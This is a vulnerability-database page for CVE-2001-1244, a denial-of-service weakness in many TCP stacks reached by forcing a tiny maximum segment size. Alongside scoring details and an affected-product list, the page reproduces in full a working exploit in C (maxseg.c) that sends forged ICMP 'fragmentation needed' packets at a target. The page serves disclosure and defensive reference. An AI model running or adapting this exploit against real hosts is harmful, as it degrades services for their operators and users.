CVE-2001-1244 : Detail

CVE-2001-1244

0.83%V3
Network
2002-05-03
02h00 +00:00
2017-12-18
20h57 +00:00
CVE.org
NVD
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CVE Descriptions

Multiple TCP implementations could allow remote attackers to cause a denial of service (bandwidth and CPU exhaustion) by setting the maximum segment size (MSS) to a very small number and requesting large amounts of data, which generates more packets with less TCP-level data that amplify network traffic and consume more server CPU to process.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 20997

Publication date : 2001-07-06 22h00 +00:00
Author : Darren Reed
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/2997/info A potential denial of service vulnerability exists in several TCP stack implementations. TCP has a MSS (maximum segment size) option that is used by a TCP client to announce to a peer the maximum amount of TCP data that can be sent per segment. The potential for attacks exists because in many cases only a small minimum value is enforced for the MSS. By setting the MSS to a low value (such as 1) and making requests for large amounts of data through a TCP service, an attacker could effectively cause a denial of service by causing a large workload on a system. */ /* * (C)Copyright 2001 Darren Reed. * * maxseg.c */ #include <sys/types.h> #include <sys/param.h> #include <sys/socket.h> #if BSD >= 199306 #include <sys/sysctl.h> #endif #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/ip_var.h> #include <netinet/tcp.h> #include <netinet/tcp_timer.h> #include <netinet/tcp_var.h> #include <time.h> #include <fcntl.h> #include <errno.h> void prepare_icmp(struct sockaddr_in *); void primedefaultmss(int, int); u_short in_cksum(u_short *, int); int icmp_unreach(struct sockaddr_in *, struct sockaddr_in *); #define NEW_MSS 512 #define NEW_MTU 1500 static int start_mtu = NEW_MTU; void primedefaultmss(fd, mss) int fd, mss; { #ifdef __NetBSD__ static int defaultmss = 0; int mib[4], msso, mssn; size_t olen; if (mss == 0) mss = defaultmss; mssn = mss; olen = sizeof(msso); mib[0] = CTL_NET; mib[1] = AF_INET; mib[2] = IPPROTO_TCP; mib[3] = TCPCTL_MSSDFLT; if (sysctl(mib, 4, &msso, &olen, NULL, 0)) err(1, "sysctl"); if (defaultmss == 0) defaultmss = msso; if (sysctl(mib, 4, 0, NULL, &mssn, sizeof(mssn))) err(1, "sysctl"); if (sysctl(mib, 4, &mssn, &olen, NULL, 0)) err(1, "sysctl"); printf("Default MSS: old %d new %d\n", msso, mssn); #endif #if HACKED_KERNEL int opt; if (mss) op = mss; else op = 512; if (setsockopt(fd, IPPROTO_TCP, TCP_MAXSEG+1, (char *)&op, sizeof(op))) err(1, "setsockopt"); #endif } int main(int argc, char *argv[]) { struct sockaddr_in me, them; int fd, op, olen, mss; char prebuf[16374]; time_t now1, now2; struct timeval tv; mss = NEW_MSS; primedefaultmss(-1, mss); fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1) err(1, "socket"); memset((char *)&them, 0, sizeof(me)); them.sin_family = AF_INET; them.sin_port = ntohs(atoi(argv[2])); them.sin_addr.s_addr = inet_addr(argv[1]); primedefaultmss(fd, mss); op = fcntl(fd, F_GETFL, 0); if (op != -1) { op |= O_NONBLOCK; fcntl(fd, F_SETFL, op); } op = 1; (void) setsockopt(fd, SOL_SOCKET, TCP_NODELAY, &op, sizeof(op)); if (connect(fd, (struct sockaddr *)&them, sizeof(them)) && (errno != EINPROGRESS)) err(1, "connect"); olen = sizeof(op); if (!getsockopt(fd, IPPROTO_TCP, TCP_MAXSEG, (char *)&op, &olen)) printf("Remote mss %d\n", op); else err(1, "getsockopt"); #if HACKED_KERNEL olen = sizeof(op); if (!getsockopt(fd, IPPROTO_TCP, TCP_MAXSEG+1, (char *)&op, &olen)) printf("Our mss %d\n", op); else err(1, "getsockopt(+1)"); #endif olen = sizeof(me); if (getsockname(fd, (struct sockaddr *)&me, &olen)) err(1, "getsockname"); (void) read(fd, prebuf, sizeof(prebuf)); now1 = time(NULL); for (op = 2; op; op--) { icmp_unreach(&me, &them); olen = read(fd, prebuf, sizeof(prebuf)); if (olen == -1) { if (errno == ENOBUFS || errno == EAGAIN || errno == EWOULDBLOCK) { tv.tv_sec = 0; tv.tv_usec = 10000; select(3, NULL, NULL, NULL, &tv); continue; } warn("read"); break; } } now2 = time(NULL); printf("Elapsed time %d\n", now2 - now1); primedefaultmss(fd, 0); close(fd); return 0; } /* * in_cksum() & icmp_unreach() ripped from nuke.c prior to modifying */ static char icmpbuf[256]; static int icmpsock = -1; static struct sockaddr_in destsock; void prepare_icmp(dst) struct sockaddr_in *dst; { struct tcphdr *tcp; struct icmp *icmp; icmp = (struct icmp *)icmpbuf; if (icmpsock == -1) { memset((char *)&destsock, 0, sizeof(destsock)); destsock.sin_family = AF_INET; destsock.sin_addr = dst->sin_addr; srand(getpid()); icmpsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if (icmpsock == -1) err(1, "socket"); /* the following messy stuff from Adam Glass (icmpsquish.c) */ memset(icmp, 0, sizeof(struct icmp) + 8); icmp->icmp_type = ICMP_UNREACH; icmp->icmp_code = ICMP_UNREACH_NEEDFRAG; icmp->icmp_pmvoid = 0; icmp->icmp_ip.ip_v = IPVERSION; icmp->icmp_ip.ip_hl = 5; icmp->icmp_ip.ip_len = htons(NEW_MSS); icmp->icmp_ip.ip_p = IPPROTO_TCP; icmp->icmp_ip.ip_off = htons(IP_DF); icmp->icmp_ip.ip_ttl = 11 + (rand() % 50); icmp->icmp_ip.ip_id = rand() & 0xffff; icmp->icmp_ip.ip_src = dst->sin_addr; tcp = (struct tcphdr *)(&icmp->icmp_ip + 1); tcp->th_sport = dst->sin_port; } icmp->icmp_nextmtu = htons(start_mtu); icmp->icmp_cksum = 0; } u_short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), * we add sequential 16 bit words to it, and at the end, fold * back all the carry bits from the top 16 bits into the lower * 16 bits. */ while( nleft > 1 ) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if( nleft == 1 ) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* * add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return (answer); } int icmp_unreach(src, dst) struct sockaddr_in *src, *dst; { static int donecksum = 0; struct sockaddr_in dest; struct tcphdr *tcp; struct icmp *icmp; int i, rc; u_short sum; icmp = (struct icmp *)icmpbuf; prepare_icmp(dst); icmp->icmp_ip.ip_dst = src->sin_addr; sum = in_cksum((u_short *)&icmp->icmp_ip, sizeof(struct ip)); icmp->icmp_ip.ip_sum = sum; tcp = (struct tcphdr *)(&icmp->icmp_ip + 1); tcp->th_dport = src->sin_port; sum = in_cksum((u_short *)icmp, sizeof(struct icmp) + 8); icmp->icmp_cksum = sum; start_mtu /= 2; if (start_mtu < 69) start_mtu = 69; i = sendto(icmpsock, icmpbuf, sizeof(struct icmp) + 8, 0, (struct sockaddr *)&destsock, sizeof(destsock)); if (i == -1 && errno != ENOBUFS && errno != EAGAIN && errno != EWOULDBLOCK) err(1, "sendto"); return(0); }

Products Mentioned

Configuraton 0

Freebsd>>Freebsd >> Version 4.3

Hp>>Hp-ux >> Version 11.00

Hp>>Hp-ux >> Version 11.0.4

Hp>>Hp-ux >> Version 11.11

Hp>>Vvos >> Version 11.04

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.1

Linux>>Linux_kernel >> Version 2.4.2

Linux>>Linux_kernel >> Version 2.4.3

Linux>>Linux_kernel >> Version 2.4.4

Linux>>Linux_kernel >> Version 2.4.5

Microsoft>>Windows_2000 >> Version *

    Microsoft>>Windows_2000 >> Version *

    Microsoft>>Windows_2000 >> Version *

    Microsoft>>Windows_nt >> Version 4.0

    Microsoft>>Windows_nt >> Version 4.0

    Microsoft>>Windows_nt >> Version 4.0

    Microsoft>>Windows_nt >> Version 4.0

    Microsoft>>Windows_nt >> Version 4.0

    Microsoft>>Windows_nt >> Version 4.0

    Microsoft>>Windows_nt >> Version 4.0

    Microsoft>>Windows_nt >> Version 4.0

    Netbsd>>Netbsd >> Version 1.5

    Netbsd>>Netbsd >> Version 1.5.1

    Openbsd>>Openbsd >> Version 2.8

    Openbsd>>Openbsd >> Version 2.9

    Sun>>Sunos >> Version 5.5.1

    Sun>>Sunos >> Version 5.7

    Sun>>Sunos >> Version 5.8

    References

    http://www.securityfocus.com/archive/1/195457
    Tags : mailing-list, x_refsource_BUGTRAQ
    http://www.securityfocus.com/bid/2997
    Tags : vdb-entry, x_refsource_BID